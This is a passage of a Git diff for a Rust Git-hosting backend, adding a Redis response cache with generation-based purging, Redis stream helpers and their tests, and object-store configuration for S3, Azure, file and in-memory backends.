scan, + /// which is simpler and cheap enough at this stream's volume (`MAXLEN` bounds it). + pub async fn xautoclaim( + &self, + stream: &str, + group: &str, + consumer: &str, + min_idle_ms: u64, + count: usize, + ) -> Vec<(String, Vec<(String, String)>)> { + if self.mem_stream.is_some() { + return Vec::new(); + } + let Some(mut c) = self.conn.clone() else { return Vec::new() }; + let mut cmd = redis::cmd("XAUTOCLAIM"); + cmd.arg(stream) + .arg(group) + .arg(consumer) + .arg(min_idle_ms) + .arg("0-0") + .arg("COUNT") + .arg(count); + match run_within::(MAINTENANCE_TIMEOUT, &mut cmd, &mut c).await { + Ok(reply) => reply.0 .0, + Err(e) => { + tracing::warn!(%stream, %group, error = %e, "consumer group autoclaim failed"); + Vec::new() + } + } + } + + /// `XREVRANGE {stream} + - COUNT {count}`: newest entries first, capped at `count`. Unlike + /// `xreadgroup` this is a plain read — no group, no ack, no redelivery — because the feed + /// only ever wants "what recently happened", not a work queue: an entry trimmed by `MAXLEN` + /// before a caller reads it is just not shown, the same as it never happened. + pub async fn xrevrange(&self, stream: &str, count: usize) -> Vec<(String, Vec<(String, String)>)> { + if let Some(m) = &self.mem_stream { + let g = m.lock().unwrap(); + return g.iter().rev().take(count).cloned().collect(); + } + let Some(mut c) = self.conn.clone() else { return Vec::new() }; + let mut cmd = redis::cmd("XREVRANGE"); + cmd.arg(stream).arg("+").arg("-").arg("COUNT").arg(count); + match run::(&mut cmd, &mut c).await { + Ok(reply) => reply.0, + Err(e) => { + tracing::warn!(%stream, error = %e, "stream read failed"); + Vec::new() + } + } + } +} + +/// One stream's worth of entries out of an `XREADGROUP {..} STREAMS {stream} >` reply, which +/// nests as `[[stream_name, [[id, [field, value, ...]], ...]]]` — one element per stream +/// requested, and this crate only ever asks for one. +struct StreamReply(Vec<(String, Vec<(String, String)>)>); + +impl redis::FromRedisValue for StreamReply { + fn from_redis_value(v: &redis::Value) -> redis::RedisResult { + // A `BLOCK` timeout with nothing to deliver answers Nil, not an empty array. + if matches!(v, redis::Value::Nil) { + return Ok(StreamReply(Vec::new())); + } + type OneStream = (String, Vec<(String, Vec<(String, String)>)>); + let streams: Vec = redis::FromRedisValue::from_redis_value(v)?; + Ok(StreamReply(streams.into_iter().flat_map(|(_, entries)| entries).collect())) + } +} + +/// `XAUTOCLAIM` replies `[next_cursor, [[id, [field, value, ...]], ...], deleted_ids]` (Redis 7+ +/// adds the trailing deleted-ids array; earlier servers omit it). Only the entries in the middle +/// matter here — the cursor is discarded, see `xautoclaim`'s doc comment. +struct AutoclaimReply(StreamEntries); +struct StreamEntries(Vec<(String, Vec<(String, String)>)>); + +impl redis::FromRedisValue for StreamEntries { + fn from_redis_value(v: &redis::Value) -> redis::RedisResult { + Ok(StreamEntries(redis::FromRedisValue::from_redis_value(v)?)) + } +} + +impl redis::FromRedisValue for AutoclaimReply { + fn from_redis_value(v: &redis::Value) -> redis::RedisResult { + let redis::Value::Array(items) = v else { + return Err((redis::ErrorKind::TypeError, "expected an array for XAUTOCLAIM").into()); + }; + let entries: StreamEntries = items + .get(1) + .map(redis::FromRedisValue::from_redis_value) + .transpose()? + .unwrap_or(StreamEntries(Vec::new())); + Ok(AutoclaimReply(entries)) + } +} diff --git a/crates/storage/src/cache/mod.rs b/crates/storage/src/cache/mod.rs new file mode 100644 index 00000000..1510bc15 --- /dev/null +++ b/crates/storage/src/cache/mod.rs @@ -0,0 +1,508 @@ +//! A response cache the api tier shares. Every entry is keyed by an immutable object id, so a +//! hit is safe to serve from any pod without consulting the node that owns the repo. +//! +//! Every read and write fails open: a cache that is down or absent makes requests slower, never +//! wrong. `bump_generation` is the deliberate exception — see its doc comment. +//! +//! Requires `maxmemory-policy volatile-lru` on the Redis instance, not the more common +//! `allkeys-lru`. Generation keys (`gen:{repo}`) carry no TTL and must never be evicted: if one +//! is reclaimed while entries it guards are still cached, `generation()` reads a real miss — +//! indistinguishable from "never purged" — and every stale entry becomes reachable again, +//! defeating the purge a visibility flip depends on. `volatile-lru` only evicts keys that carry a +//! TTL, so data keys (all `SET ... EX`) are eviction candidates and generation keys are not. Cost: +//! a generation counter lives forever once a repo is purged — one small integer per ever-purged +//! repo, deliberately, since that is cheaper than a stale-serve bug. +//! +//! `generation()` does NOT fail open: a backend *error* reading `gen:{repo}` (as opposed to a +//! real miss) returns `None`, and `get`/`put`/`drop_refs` treat that as "cache disabled for this +//! call" rather than substituting a generation — otherwise a transient Redis blip would make a +//! purged repo's pre-purge entries reachable again. + +use redis::aio::ConnectionManagerConfig; +use std::collections::HashMap; +use std::sync::Mutex; +use std::time::{Duration, Instant}; + +mod disk; + +const KEY_VERSION: &str = "v1"; +// ponytail: fixed per-command timeout; make configurable if a deployment needs a different bound +// than the connect timeout below. +const CMD_TIMEOUT: Duration = Duration::from_millis(250); +/// Bound for background stream maintenance (XAUTOCLAIM). Generous on purpose: it scans a consumer +/// group's pending list on the worker's own clock and nobody is blocked on the result. +const MAINTENANCE_TIMEOUT: Duration = Duration::from_secs(3); + +/// Generation and entry in one server round trip. The entry's key depends on the generation's +/// value, so a pipeline cannot express this and two sequential GETs were two RTTs on every read. +/// A missing generation is `'0'` here for the same reason `generation()` says zero — see its doc. +static GET_SCRIPT: std::sync::LazyLock = std::sync::LazyLock::new(|| { + redis::Script::new( + "local g = redis.call('GET', 'gen:' .. ARGV[1]) or '0'\n\ + return redis.call('GET', ARGV[2] .. ':' .. g .. ':' .. ARGV[1] .. ':' .. ARGV[3])", + ) +}); + +pub fn key(generation: u64, repo: &str, suffix: &str) -> String { + format!("{KEY_VERSION}:{generation}:{repo}:{suffix}") +} + +/// The in-process backing for `Cache::memory`: the same keys, the same TTLs, no Redis. +type Mem = Mutex, Instant)>>; + +/// In-memory stand-in for a single Redis stream (see `xadd`): entry ids in append order, each +/// carrying its field/value pairs, trimmed with the same MAXLEN-from-the-front semantics XADD +/// gives `MAXLEN ~`. No consumer groups here — the events module's own tests only need to see +/// what was published, not to exercise group delivery. +type MemStream = Mutex)>>; + +pub struct Cache { + conn: Option, + mem: Option, + mem_stream: Option, +} + +fn mem_get(m: &Mem, k: &str) -> Option> { + let mut g = m.lock().unwrap(); + match g.get(k) { + Some((v, exp)) if *exp > Instant::now() => Some(v.clone()), + Some(_) => { + g.remove(k); + None + } + None => None, + } +} + +impl Cache { + /// Whether this cache has a live Redis connection — as opposed to the in-memory fallback or + /// no cache at all. Used at worker startup: a stream-driven lane with no Redis is degraded + /// (see `worker.rs`), and that is worth a loud one-line warning, not a silent default. + pub fn connected(&self) -> bool { + self.conn.is_some() + } + + pub async fn connect(url: Option<&str>) -> Cache { + let Some(url) = url else { return Cache { conn: None, mem: None, mem_stream: None } }; + // Bounded retry/timeout: an unreachable Redis must fail fast, not retry with the crate's + // default exponential backoff (6 attempts) and hang callers — a cache that is slow to give + // up is worse than one that is simply absent. + let config = ConnectionManagerConfig::new() + .set_number_of_retries(1) + .set_connection_timeout(Duration::from_millis(250)); + let conn = async { + redis::Client::open(url) + .ok()? + .get_connection_manager_with_config(config) + .await + .ok() + } + .await; + if conn.is_none() { + // No `url` dep in this crate; drop credentials by keeping only the part after the + // last '@' (redis://:password@host -> host), never log the raw URL. + let host = url.rsplit('@').next().unwrap_or("redis"); + tracing::warn!(host = %host, "cache unreachable; serving without it"); + } + Cache { conn, mem: None, mem_stream: None } + } + + /// A cache that lives in this process. Not for production — nothing is shared between pods — + /// but it exercises the real key discipline, which a test otherwise cannot reach without a + /// Redis to talk to. + // Expired entries are swept on insert once the map passes a size no test reaches (see + // `put_key`), so this no longer grows without bound if it is ever used outside tests. + pub fn memory() -> Cache { + Cache { conn: None, mem: Some(Mem::default()), mem_stream: Some(MemStream::default()) } + } + + /// The repo's current generation, or `None` when it cannot be read. A miss means ZERO, not + /// one, and the distinction is the whole mechanism: `INCR` on a missing key yields 1, so if a + /// miss also read as 1 the very first purge would move the generation from 1 to 1 and orphan + /// nothing. A repo that has never been purged sits at generation 0; its first purge moves it + /// to 1. A backend *error* (as opposed to a real miss) is `None`, never a substituted + /// generation — callers must skip the cache for this request, or a purged repo's pre-purge + /// entries become reachable again during a transient failure. + pub async fn generation(&self, repo: &str) -> Option { + if let Some(m) = &self.mem { + return Some( + mem_get(m, &format!("gen:{repo}")) + .and_then(|v| String::from_utf8(v).ok()?.parse().ok()) + .unwrap_or(0), + ); + } + let mut c = self.conn.clone()?; + // `Ok(None)` is a real miss -> generation 0. `Err` is a backend failure -> None (skip + // cache), never defaulted to 0. + match run::>(redis::cmd("GET").arg(format!("gen:{repo}")), &mut c).await { + Ok(v) => Some(v.unwrap_or(0)), + Err(_) => None, + } + } + + pub async fn get(&self, repo: &str, suffix: &str) -> Option> { + if let Some(m) = &self.mem { + let gen = self.generation(repo).await?; + return mem_get(m, &key(gen, repo, suffix)); + } + let mut c = self.conn.clone()?; + // A script error (the generation unreadable, a timeout) is a miss, exactly as a failed + // `generation()` read is: never a guessed generation. + // Bound first: `arg` returns a borrow of the invocation, and a chained temporary would + // be dropped before the future that borrows it is awaited. + let mut call = GET_SCRIPT.prepare_invoke(); + call.arg(repo).arg(KEY_VERSION).arg(suffix); + let fut = call.invoke_async::>>(&mut c); + let r = tokio::time::timeout(CMD_TIMEOUT, fut).await; + // Failing open is right — a miss is always safe — but silently, it is invisible: a Redis + // that answers PING while refusing EVAL (no scripting, a proxy that drops it, a version + // without it) turns the cache off fleet-wide and the only symptom is latency. Once per + // process, so a broken backend cannot become the log. + if !matches!(r, Ok(Ok(_))) { + static WARNED: std::sync::atomic::AtomicBool = std::sync::atomic::AtomicBool::new(false); + if !WARNED.swap(true, std::sync::atomic::Ordering::Relaxed) { + tracing::warn!("cache read script failed; serving every read uncached"); + } + } + r.ok()?.ok().flatten() + } + + pub async fn put(&self, repo: &str, suffix: &str, val: &[u8], ttl_secs: u64) { + let Some(gen) = self.generation(repo).await else { return }; // cannot key it safely; skip + let k = key(gen, repo, suffix); + self.put_key(k, val, ttl_secs).await; + } + + /// `put` under a generation read EARLIER — before a read-through miss went upstream. The key + /// is built from `generation`, never from a fresh read, so a purge that lands mid-flight cannot + /// be defeated: the write goes to the old generation, which the bump already made unreachable, + /// and ages out under its TTL. No check, no atomicity needed — losing the race fails safe. + pub async fn put_at(&self, generation: u64, repo: &str, suffix: &str, val: &[u8], ttl_secs: u64) { + self.put_key(key(generation, repo, suffix), val, ttl_secs).await; + } + + async fn put_key(&self, k: String, val: &[u8], ttl_secs: u64) { + if let Some(m) = &self.mem { + let exp = Instant::now() + Duration::from_secs(ttl_secs); + let mut g = m.lock().unwrap(); + // Entries otherwise only expire when that exact key is read again, so keys written and + // never re-read stay forever — and unlike Redis, nothing else evicts them. Drop the + // expired ones on insert once the map is larger than any test needs; an entry past its + // expiry is dead by definition, so this can never evict a live value. + const SWEEP_AT: usize = 1024; + if g.len() >= SWEEP_AT { + let now = Instant::now(); + g.retain(|_, (_, exp)| *exp > now); + } + g.insert(k, (val.to_vec(), exp)); + return; + } + let Some(mut c) = self.conn.clone() else { return }; + let _: Result<(), _> = + run(redis::cmd("SET").arg(k).arg(val).arg("EX").arg(ttl_secs), &mut c).await; + } + + /// Deliberately fire-and-forget, unlike `bump_generation`: a missed drop self-heals when the + /// 5s `refs` TTL expires, and this sits on the push path — failing a push over a cache blip + /// would cost more than five seconds of stale refs. Invalidation that a security guarantee + /// depends on is the other case, and reports its failure. + pub async fn drop_refs(&self, repo: &str) { + let Some(gen) = self.generation(repo).await else { return }; // cannot key it; nothing to drop + let k = key(gen, repo, "refs"); + if let Some(m) = &self.mem { + m.lock().unwrap().remove(&k); + return; + } + let Some(mut c) = self.conn.clone() else { return }; + let _: Result<(), _> = run(redis::cmd("DEL").arg(k), &mut c).await; + } + + /// Orphans every cached answer for a repo at once. Used when a repo is deleted, or when its + /// visibility flips — after which no previously cached response may be served to anyone. No + /// SCAN: the old keys simply become unreachable and age out under `volatile-lru` (see module + /// doc). This key itself carries no TTL — it must survive as long as the repo can be purged. + /// + /// The one operation that does NOT fail open. Reads may degrade to a slower request; a purge + /// that quietly fails leaves a repo the operator just made private still cached — and served + /// anonymously — for up to the body TTL. A cache that is *disabled* (`conn: None, mem: None`) + /// is not a failure: there is nothing cached, so the purge is a correct no-op. + pub async fn bump_generation(&self, repo: &str) -> crate::Result<()> { + let k = format!("gen:{repo}"); + if let Some(m) = &self.mem { + // INCR semantics, deliberately: a missing key becomes 1, exactly as Redis does. Going + // through `generation()` instead would add 1 to whatever default that returns, which + // made this double advance the generation in a case where Redis would not — hiding a + // real bug where the first purge of a repo orphaned nothing. + let cur: u64 = mem_get(m, &k) + .and_then(|v| String::from_utf8(v).ok()?.parse().ok()) + .unwrap_or(0); + let next = cur + 1; + // No TTL in Redis; a decade here stands in for "never evicted". + let exp = Instant::now() + Duration::from_secs(10 * 365 * 24 * 3600); + m.lock().unwrap().insert(k, (next.to_string().into_bytes(), exp)); + return Ok(()); + } + let Some(mut c) = self.conn.clone() else { return Ok(()) }; + run::<()>(redis::cmd("INCR").arg(&k), &mut c) + .await + .map_err(|e| crate::err(format!("cache purge failed: {e}"))) + } +} + +/// Every command gets the same bound as `connect`: a live-but-black-holed connection must not +/// hang a request path. A timeout is treated exactly like any other command error — fail open. +async fn run( + cmd: &mut redis::Cmd, + c: &mut redis::aio::ConnectionManager, +) -> redis::RedisResult { + run_within(CMD_TIMEOUT, cmd, c).await +} + +/// `run` with an explicit bound, for commands that are not on a request path. +/// +/// `CMD_TIMEOUT` is sized for a cache read a user is waiting on. XAUTOCLAIM is neither: it runs on +/// the worker's own 60s clock, scans a consumer group's pending list, and nobody is blocked on it. +/// Held to 250ms against a managed Redis it timed out on EVERY attempt in production while every +/// other command in the fleet succeeded — so the stream's crashed-consumer redelivery never ran, +/// and the log filled with one failure per minute. Failing open kept merge work safe (the periodic +/// sweep is the floor) but the feature was silently dead. +async fn run_within( + budget: Duration, + cmd: &mut redis::Cmd, + c: &mut redis::aio::ConnectionManager, +) -> redis::RedisResult { + match tokio::time::timeout(budget, cmd.query_async(c)).await { + Ok(r) => r, + Err(_) => Err(std::io::Error::from(std::io::ErrorKind::TimedOut).into()), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn keys_carry_version_generation_and_repo() { + assert_eq!(key(7, "alice/web", "tree:abc:src"), "v1:7:alice/web:tree:abc:src"); + } + + /// The first purge of a repo must orphan its entries. It did not: `generation()` read a + /// missing key as 1 and `INCR` also produces 1, so the first bump moved 1 -> 1 and every + /// cached answer stayed reachable. Only the second purge onwards worked. + #[tokio::test(flavor = "multi_thread")] + async fn the_first_purge_orphans_what_was_cached() { + let c = Cache::memory(); + c.put("alice/web", "tree:abc", b"body", 60).await; + assert_eq!(c.get("alice/web", "tree:abc").await.as_deref(), Some(&b"body"[..])); + c.bump_generation("alice/web").await.unwrap(); + assert!( + c.get("alice/web", "tree:abc").await.is_none(), + "the first purge must make the entry unreachable" + ); + } + + #[tokio::test(flavor = "multi_thread")] + async fn a_disabled_cache_answers_without_failing() { + let c = Cache::connect(None).await; + assert!(c.get("alice/web", "refs").await.is_none()); + c.put("alice/web", "refs", b"x", 5).await; // must not panic + c.drop_refs("alice/web").await; + // A disabled cache is not a failed purge: nothing is cached, so there is nothing to orphan. + c.bump_generation("alice/web").await.unwrap(); + } + + /// A disabled cache's `xreadgroup` must NOT block for `block_ms` — it has no connection to + /// block on, so it fails open instantly. This is exactly the trap the merge worker's lane + /// loop fell into: without its own `IDLE` backoff on the "nothing happened" path, a lane + /// spun `claim_merge` as fast as Mongo answered whenever Redis was absent or down, because + /// this call — its would-be pacing — returns immediately instead of blocking. + #[tokio::test(flavor = "multi_thread")] + async fn a_disabled_cache_xreadgroup_does_not_block() { + let c = Cache::connect(None).await; + let started = Instant::now(); + let got = c.xreadgroup("events", "merge-worker", "consumer-1", 10).await; + assert!(got.is_empty()); + assert!(started.elapsed() < Duration::from_millis(200), "must fail open instantly, not block"); + } + + /// Catches: a purge against an unreachable Redis reporting success, which is how a repo stays + /// publicly cached after being made private. + #[tokio::test(flavor = "multi_thread")] + async fn a_purge_against_an_unreachable_redis_reports_failure() { + // A refused port degrades to disabled, which is a correct no-op — so this needs a server + // that connects and then refuses every command, the shape a real broken Redis has. + let c = scripted_cache_for_test(&[("INCR", b"-ERR nope\r\n")]).await; + assert!(c.bump_generation("alice/web").await.is_err()); + } + + /// Catches: a `GET gen:{repo}` that errors (not merely misses) making `generation` answer 0, + /// which reopens a purged repo's pre-purge entries during a Redis blip. `generation` must + /// answer `None` instead, and `get`/`put` must treat that as "skip the cache", not "gen 0". + #[tokio::test(flavor = "multi_thread")] + async fn generation_error_disables_cache_not_defaults_to_zero() { + let c = scripted_cache_for_test(&[("GET", b"-ERR nope\r\n")]).await; + assert_eq!(c.generation("alice/repo").await, None); + // put would write under gen 0 if it fails open; instead it must be a no-op... + c.put("alice/repo", "refs", b"stale", 60).await; + // ...and get must not return that entry. + assert_eq!(c.get("alice/repo", "refs").await, None); + } + + #[tokio::test(flavor = "multi_thread")] + async fn an_unreachable_redis_degrades_to_disabled() { + // Port 1 refuses instantly; connect must swallow it rather than propagate. + let c = Cache::connect(Some("redis://127.0.0.1:1")).await; + assert!(c.get("alice/web", "refs").await.is_none()); + } + + /// A stub Redis that connects successfully (so `conn` is `Some`) and replies per the first + /// rule whose command the request names — the shape a real BROKEN Redis has (`-ERR ...`), as + /// opposed to a refused port, which degrades to `conn: None`, and the shape a real WORKING one + /// has for `XREADGROUP`/`XAUTOCLAIM`, whose exact multi-bulk replies are what this crate's + /// hand-written `FromRedisValue` parsing is checked against. + async fn scripted_cache_for_test(rules: &'static [(&'static str, &'static [u8])]) -> Cache { + use tokio::io::{AsyncReadExt, AsyncWriteExt}; + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = l.local_addr().unwrap(); + tokio::spawn(async move { + while let Ok((mut s, _)) = l.accept().await { + tokio::spawn(async move { + let mut buf = [0u8; 4096]; + while let Ok(n) = s.read(&mut buf).await { + if n == 0 { + return; + } + let req = String::from_utf8_lossy(&buf[..n]).to_uppercase(); + // Requests arrive pipelined and redis-rs expects one reply per command; + // commands are RESP arrays, so count the `*` at each command boundary. + // Multi-bulk rule bodies are only ever matched by an unpipelined call, so + // repeating them is a no-op there and the fix for a pipelined `-ERR`. + let cmds = req.matches("\r\n*").count() + 1; + let reply: Vec = match rules.iter().find(|(cmd, _)| req.contains(cmd)) { + Some((_, body)) => body.repeat(cmds), + // Anything unscripted (the connection handshake, etc.) gets one +OK. + None => b"+OK\r\n".repeat(cmds), + }; + if s.write_all(&reply).await.is_err() { + return; + } + } + }); + } + }); + let c = Cache::connect(Some(&format!("redis://{addr}"))).await; + assert!(c.conn.is_some(), "the stub must connect, or this tests nothing"); + c + } + + /// The script call carries the right arguments in the right order, and the script body keys + /// the entry the same way `key()` does — a stub that only counts round trips would pass on a + /// script that read the wrong key. + #[tokio::test(flavor = "multi_thread")] + async fn the_script_call_names_repo_version_and_suffix_in_order() { + use std::sync::{Arc, Mutex}; + use tokio::io::{AsyncReadExt, AsyncWriteExt}; + let seen: Arc>> = Arc::default(); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = l.local_addr().unwrap(); + let rec = seen.clone(); + tokio::spawn(async move { + while let Ok((mut s, _)) = l.accept().await { + let rec = rec.clone(); + tokio::spawn(async move { + let mut buf = [0u8; 8192]; + while let Ok(n) = s.read(&mut buf).await { + if n == 0 { + return; + } + let req = String::from_utf8_lossy(&buf[..n]).to_string(); + let reply: Vec = if req.to_uppercase().contains("EVAL") { + rec.lock().unwrap().push(req.clone()); + b"$4\r\nbody\r\n".to_vec() + } else { + b"+OK\r\n".repeat(req.matches("\r\n*").count() + 1) + }; + if s.write_all(&reply).await.is_err() { + return; + } + } + }); + } + }); + let c = Cache::connect(Some(&format!("redis://{addr}"))).await; + assert!(c.conn.is_some(), "the stub must connect, or this tests nothing"); + assert_eq!(c.get("alice/web", "refs").await.as_deref(), Some(&b"body"[..])); + + let calls = seen.lock().unwrap().clone(); + assert_eq!(calls.len(), 1, "one script call, no fallback GETs: {calls:?}"); + // EVALSHA ARGV... — no KEYS, and the three ARGV in this order. + let repo = calls[0].find("alice/web").expect("repo argument"); + let ver = calls[0].find(KEY_VERSION).expect("key-version argument"); + let suffix = calls[0].find("refs\r\n").expect("suffix argument"); + assert!(repo < ver && ver < suffix, "ARGV order repo, version, suffix: {}", calls[0]); + assert!(calls[0].contains("\r\n0\r\n"), "numkeys is 0 — the keys go as ARGV: {}", calls[0]); + + // And the script builds exactly the key `key()` builds: {version}:{gen}:{repo}:{suffix}. + let body = "local g = redis.call('GET', 'gen:' .. ARGV[1]) or '0'\n\ + return redis.call('GET', ARGV[2] .. ':' .. g .. ':' .. ARGV[1] .. ':' .. ARGV[3])"; + assert_eq!(GET_SCRIPT.get_hash(), redis::Script::new(body).get_hash(), "script body changed"); + assert_eq!(key(7, "alice/web", "refs"), format!("{KEY_VERSION}:7:alice/web:refs")); + } + + /// One round trip per read: the generation and the entry are fetched by one server-side + /// script. The stub answers the script call with a body; two sequential GETs would never + /// see it. + #[tokio::test(flavor = "multi_thread")] + async fn a_read_is_one_script_call() { + let c = scripted_cache_for_test(&[("EVAL", b"$4\r\nbody\r\n")]).await; + assert_eq!(c.get("alice/web", "refs").await.as_deref(), Some(&b"body"[..])); + } + + /// One delivered entry, the shape `XREADGROUP GROUP ... STREAMS events >` replies with: + /// `[[stream_name, [[id, [field, value, ...]]]]]`. + const XREADGROUP_ONE_ENTRY: &[u8] = b"*1\r\n*2\r\n$6\r\nevents\r\n*1\r\n*2\r\n$3\r\n1-1\r\n*10\r\n$4\r\nkind\r\n$11\r\npull_opened\r\n$4\r\nrepo\r\n$3\r\na/b\r\n$6\r\nnumber\r\n$1\r\n3\r\n$5\r\nactor\r\n$1\r\nx\r\n$5\r\nat_ms\r\n$1\r\n0\r\n"; + + #[tokio::test(flavor = "multi_thread")] + async fn xreadgroup_parses_a_delivered_entry() { + let c = scripted_cache_for_test(&[("XREADGROUP", XREADGROUP_ONE_ENTRY)]).await; + let got = c.xreadgroup("events", "merge-worker", "consumer-1", 10).await; + assert_eq!(got.len(), 1); + let (id, fields) = &got[0]; + assert_eq!(id, "1-1"); + assert!(fields.contains(&("repo".to_string(), "a/b".to_string()))); + assert!(fields.contains(&("number".to_string(), "3".to_string()))); + } + + #[tokio::test(flavor = "multi_thread")] + async fn xreadgroup_empty_block_is_no_entries_not_an_error() { + // A `BLOCK` timeout with nothing to deliver answers a nil array, not an empty one. + let c = scripted_cache_for_test(&[("XREADGROUP", b"*-1\r\n")]).await; + let got = c.xreadgroup("events", "merge-worker", "consumer-1", 10).await; + assert!(got.is_empty()); + } + + /// `[cursor, [[id, [field, value, ...]]], deleted_ids]` — the shape a dead consumer's + /// unacked entry comes back as when another consumer claims it. + const XAUTOCLAIM_ONE_ENTRY: &[u8] = b"*3\r\n$3\r\n0-0\r\n*1\r\n*2\r\n$3\r\n2-1\r\n*2\r\n$4\r\nkind\r\n$10\r\nhead_moved\r\n*0\r\n"; + + #[tokio::test(flavor = "multi_thread")] + async fn xautoclaim_parses_a_reclaimed_entry() { + let c = scripted_cache_for_test(&[("XAUTOCLAIM", XAUTOCLAIM_ONE_ENTRY)]).await; + let got = c.xautoclaim("events", "merge-worker", "consumer-2", 30_000, 10).await; + assert_eq!(got.len(), 1); + assert_eq!(got[0].0, "2-1"); + assert_eq!(got[0].1, vec![("kind".to_string(), "head_moved".to_string())]); + } + + /// `XGROUP CREATE ... MKSTREAM` on a group that already exists must not surface as an error + /// to the caller — every worker replica calls this on boot (see the doc comment). + #[tokio::test(flavor = "multi_thread")] + async fn xgroup_create_swallows_busygroup() { + let c = scripted_cache_for_test(&[( + "XGROUP", + b"-BUSYGROUP Consumer Group name already exists\r\n", + )]) + .await; + c.xgroup_create_mkstream("events", "merge-worker").await; // must not panic + } +} diff --git a/crates/storage/src/config.rs b/crates/storage/src/config.rs new file mode 100644 index 00000000..784abd5b --- /dev/null +++ b/crates/storage/src/config.rs @@ -0,0 +1,140 @@ +//! Process bootstrap: environment, object store, and the store itself. +//! +//! In the library rather than in a binary because there is more than one binary. +//! `rustic-git` serves git and `rustic-git-api` serves the read/team API; they are +//! separate processes with separate lifecycles, and both need exactly this. + +use crate::store::Store; +use crate::Result; +use std::sync::Arc; + +/// Choose the TLS backend, once per process. +/// +/// Both `ring` and `aws-lc-rs` end up in the dependency graph (reqwest pulls one, +/// redis's TLS the other), and rustls 0.23 refuses to guess between them — it +/// panics on the FIRST handshake, which is startup for anything that talks to +/// object storage, Redis or Cosmos. The provider itself is not load-bearing; only +/// that exactly one is installed. +/// +/// It lives here, in the bootstrap both binaries call, rather than in a `main`. +/// When the api server became its own binary it inherited every other startup +/// step and silently lost this one, and the pod crash-looped on a panic that +/// looks nothing like its cause. +pub fn install_crypto_provider() { + // A second install is a no-op, not a failure. + let _ = rustls::crypto::ring::default_provider().install_default(); +} + +pub fn env(k: &str, d: &str) -> String { + std::env::var(k).unwrap_or_else(|_| d.to_string()) +} + +/// The object store, plus the same store seen through `MultipartStore` where the backend has one. +/// +/// Built as the concrete type first so both views point at ONE client: `Arc` is +/// not downcastable, so a second view has to be cloned off the concrete value here or not exist. +/// `LocalFileSystem` has no `MultipartStore` impl, which is why the second half is an `Option` and +/// why every consumer needs a path that works without it. +pub type StoreViews = ( + Arc, + Option>, +); + +/// Two ways to run: `AWS_*` in the environment (`AWS_ACCESS_KEY_ID`/`AWS_SECRET_ACCESS_KEY`, +/// `AWS_REGION`, `AWS_ENDPOINT`) with an `s3://bucket` URL, or `RUSTIC_GIT_S3_URL=file://./dir` +/// (or `mem://`) with no credentials at all. `~/.aws` profiles are NOT read — export the env or +/// use a file/mem URL. +pub fn object_store_views() -> Result { + let url = std::env::var("RUSTIC_GIT_S3_URL").map_err(|_| { + crate::err( + "RUSTIC_GIT_S3_URL required (e.g. s3://bucket; mem:// or file://./dir for testing)", + ) + })?; + use slatedb::object_store::multipart::MultipartStore; + let mut mp: Option> = None; + let os: Arc = if url == "mem://" { + let m = Arc::new(slatedb::object_store::memory::InMemory::new()); + mp = Some(m.clone()); + m + } else if let Some(dir) = url.strip_prefix("file://") { + // A directory on local disk, persisted across processes — unlike `mem://`, a second + // process (an `admin` command against a running `serve`) sees what the first wrote. + // `slatedb::Db::resolve_object_store` rejects this URL shape (it requires an empty + // leftover path after the scheme), so it is built directly instead. + std::fs::create_dir_all(dir)?; + Arc::new(slatedb::object_store::local::LocalFileSystem::new_with_prefix(dir)?) + } else if let Some(bucket) = url.strip_prefix("s3://") { + // Built by hand rather than via resolve_object_store so the request timeout can be + // raised: repack uploads a whole repository in one PUT, and object_store's 180s default + // aborts that on a slow or distant link. + use slatedb::object_store::{aws::AmazonS3Builder, ClientOptions}; + let timeout = env("RUSTIC_GIT_S3_TIMEOUT_SECS", "900") + .parse() + .map_err(|_| crate::err("RUSTIC_GIT_S3_TIMEOUT_SECS must be a number"))?; + let mut b = AmazonS3Builder::from_env() + .with_bucket_name(bucket) + .with_client_options( + ClientOptions::new().with_timeout(std::time::Duration::from_secs(timeout)), + ); + if let Ok(ep) = std::env::var("AWS_ENDPOINT") { + b = b.with_endpoint(ep).with_virtual_hosted_style_request(false); + } + let s = Arc::new(b.build()?); + mp = Some(s.clone()); + s + } else if let Some(container) = url.strip_prefix("az://") { + // `resolve_object_store` would build the very same client from the same `AZURE_STORAGE_*` + // env, but hands it back as `Arc`, which cannot be re-viewed as + // `MultipartStore` — and this is the production backend, so without the concrete value + // here every registry PATCH took the O(N·K) re-stream fallback. + use slatedb::object_store::azure::MicrosoftAzureBuilder; + let s = Arc::new( + MicrosoftAzureBuilder::from_env() + .with_container_name(container) + .build()?, + ); + mp = Some(s.clone()); + s + } else { + slatedb::Db::resolve_object_store(&url)? + }; + if mp.is_none() { + tracing::warn!(%url, "object store has no MultipartStore; chunked uploads take the slow path"); + } + Ok((os, mp)) +} + +/// The object store alone, for the callers that never upload a blob in chunks. +pub fn object_store() -> Result> { + Ok(object_store_views()?.0) +} + +pub async fn open_store(background: bool) -> Result> { + // Before the first TLS handshake, which the object store is about to make. + install_crypto_provider(); + let (os, mp) = object_store_views()?; + let mut store = + Store::open(os, env("RUSTIC_GIT_CACHE_DIR", "./.local/cache").into(), background).await?; + store.mp = mp; + // Every process that can write refs or flip visibility needs the handle to invalidate through + // — including the admin CLI, which is where purge-cache and set-visibility run. + store.cache = Arc::new( + crate::cache::Cache::connect(std::env::var("RUSTIC_GIT_REDIS_URL").ok().as_deref()) + .await, + ); + Ok(Arc::new(store)) +} + + +#[cfg(test)] +mod tests { + #[test] + fn azure_url_gets_a_multipart_view() { + // Edition 2021: `set_var` is a safe fn, and this is the crate's only env-writing test. + std::env::set_var("RUSTIC_GIT_S3_URL", "az://c"); + std::env::set_var("AZURE_STORAGE_ACCOUNT_NAME", "acct"); + std::env::set_var("AZURE_STORAGE_ACCOUNT_KEY", "a2V5"); // any valid base64 + let (_, mp) = super::object_store_views().unwrap(); + assert!(mp.is_some(), "az:// must be built concretely so the registry fast path exists"); + } +} diff --git a/crates/storage/src/events.rs b/crates/storage/src/events.rs new file mode 100644 index 00000000..c276f07b --- /dev/null +++ b/crates/storage/src/events.rs @@ -0,0 +1,173 @@ +//! A nudge, never the record. Publishing to `events` tells the merge worker "something changed, +//! go look" — it never carries the authoritative state of what changed. Redis can drop the +//! stream, evict it, or simply be absent (`Cache::connect(None)`), and every consumer must keep +//! working: the worker's nudges are a speed-up over the owning node's own periodic lanes +//! (`App::check_owned_pulls`, `App::announce_stranded_merges`), and the activity feed falls back to +//! `pulls_across`. `publish` is 